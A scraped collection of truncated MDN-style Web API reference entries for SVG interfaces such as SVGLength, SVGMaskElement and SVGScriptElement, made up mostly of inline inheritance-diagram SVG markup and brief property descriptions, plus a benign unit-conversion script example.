...e" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggra...
...phicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces from svg 1.1.
SVGImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25"...
... x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</te...
...xt></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" ...
...y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgimageelement" target="_top"><rect x="111" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-even...
SVGLength - Web APIs
WebAPISVGLength
g_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ...
... ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluespecifiedunits(svglength.svg_lengthtype_pt, 20); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to inches and read out in pixel and inch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); } ]]></script> <rect id="myrect" x="1cm" y="1cm" fill="green" stroke="black" stroke-width="1" width="1cm" height="1...
...cm" /> </svg> results on a desktop monitor (pixel units will be dpi-dependent): value: 37.7952766418457, valueinspecifiedunits: 6: 1, valueasstring: 1cm value: 26.66666603088379, valueinspecifiedunits 9: 20, valueasstring: 20pt value: 26.66666603088379, valueinspecifiedunits 8: 0.277777761220932, valueasstring: 0.277778in constants name value description svg_lengthtype_unknown 0 the unit type is not one of predefined unit types.
...for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5mm".
SVGLinearGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...e x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_t...
...op"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggradientelement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svglineargradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineargradientelement</text></a></svg></div> a:hover...
SVGMPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25"...
... x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</te...
...xt></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmpathelement" target="_top"><rect x="331" y="...
...65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGMaskElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,...
...25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text...
...-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/...
...web/api/svgmaskelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmaskelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
SVGMetadataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y...
...1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eleme...
...nt</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x=...
..."301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmetadataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGPatternElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgpatternelement" target="_top"><rect x="31...
...1" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements the ones from svgfittoviewbox and svgurireference.
SVGRadialGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...e x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_t...
...op"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggradientelement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgradialgradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgradialgradientelement</text></a></svg></div> a:hover...
SVGScriptElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y...
...1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eleme...
...nt</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgscriptelement" target="_top"><rect x="3...
...21" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgscriptelement.type read only a domstring corresponding to the type attribute of the given <script> element.
SVGSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2=...
..."151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text><...
.../a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="...
...65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a><polyline points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsetelement" target="_top"><rect x="121" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: al...
SVGStopElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
...2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text...
